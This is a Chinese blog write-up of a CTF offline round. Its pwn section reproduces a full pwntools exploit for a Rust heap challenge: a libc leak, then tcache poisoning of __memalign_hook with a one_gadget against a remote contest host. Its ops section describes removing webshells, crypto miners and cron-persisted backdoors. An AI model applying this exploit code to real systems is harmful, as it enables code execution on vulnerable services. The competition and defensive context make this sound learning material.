第四届广东省强网杯线下pwn

这次啊去送人头了(╥╯^╰╥)

rheap

这个题目很恶心,rust pwn,漏洞点是fuzz出来的UAF和堆溢出,最恶心的是输出的时候

他用了编码加密,先latin-1再utf-8所以接受到数据要逆编码,编码加密怎么看出来的我是没去看了,官方给了exp

吐口谈,呸,要题目的可以去我的靶场

https://hexian2001.github.io/greedpwn/

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
#r=process('./rheap.bak')
libc=ELF('libc-2.27.so')
r=remote('47.107.51.210',13006)
#context.log_level='debug'
def add(size):
r.recvuntil("Your choice: ")
r.sendline(str(1))
r.recv()
r.sendline(str(size))
def edit(idx,lens,con):
r.recvuntil("Your choice: ")
r.sendline(str(2))
r.recv()
r.sendline(str(idx))
r.recv()
r.sendline(str(lens))
r.recv()
r.send(con)
def dele(idx):
r.recvuntil("Your choice: ")
r.sendline(str(3))
r.recv()
r.sendline(str(idx))
def show(idx):
r.recvuntil("Your choice: ")
r.sendline(str(4))
r.recv()
r.sendline(str(idx))
for i in range(8):
add(0x100)
for i in range(8):
dele(7 - i)
show(0)
r.recvuntil("Content: ")
leak=u64(r.recv(10).decode("utf-8").encode('latin-1').ljust(8, "\x00")) - 0x3ebca0
print(hex(leak))


add(0x100)#8
add(0x100)#9
for i in range(8):
add(0x68)
for i in range(8):
dele(i + 10)

edit(17,1000,p64(leak+libc.symbols['__memalign_hook'] - 3) + '\n')
add(0x68)
add(0x68)
edit(19,1000,b"\x00"* 3 + p64(leak + 0x10a41c) + "\n")
r.interactive()

运维

一、 选手信息

二、 分析过程

1、首先连上ssh服务之后访问/var/www/html发现有一个.2.php后门,删掉之后发现还会创建,

image

是不死马,先把PHP进程结束掉,再启动PHP进程,就可以杀掉不死马了。

2、删掉泄露信息的PHPINFO文件

image

3、ez_serialize.php

有反序列化漏洞和变量覆盖问题,

如图修改注释掉变量覆盖点,

以及给cmd参数加一个过滤。

image

4、查看启动文件start.sh发现新的web服务在/home里面

在WEB4目录的test文件下有这几个后门,删掉即可

img

5、ps -Af 查看进程

kill掉VIM后门

6、PS查看进程

杀掉挖门罗币的挖矿木马,以及c3pool目录下的挖矿木马文件。

7、查看进程发现有python后门

杀掉之后发现会反复重启crontab -u ctf -e 发现有定时任务,删掉这个定时任务的配置。

8、清除tmp目录下的后门文件

发现/tmp目录下有门罗币的挖矿病毒,删掉病毒 同时kill掉进程。

9、删除.xxx这些可能存留后门文件的文件,以及hh,prism这些疑似后门的elf文件

image

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信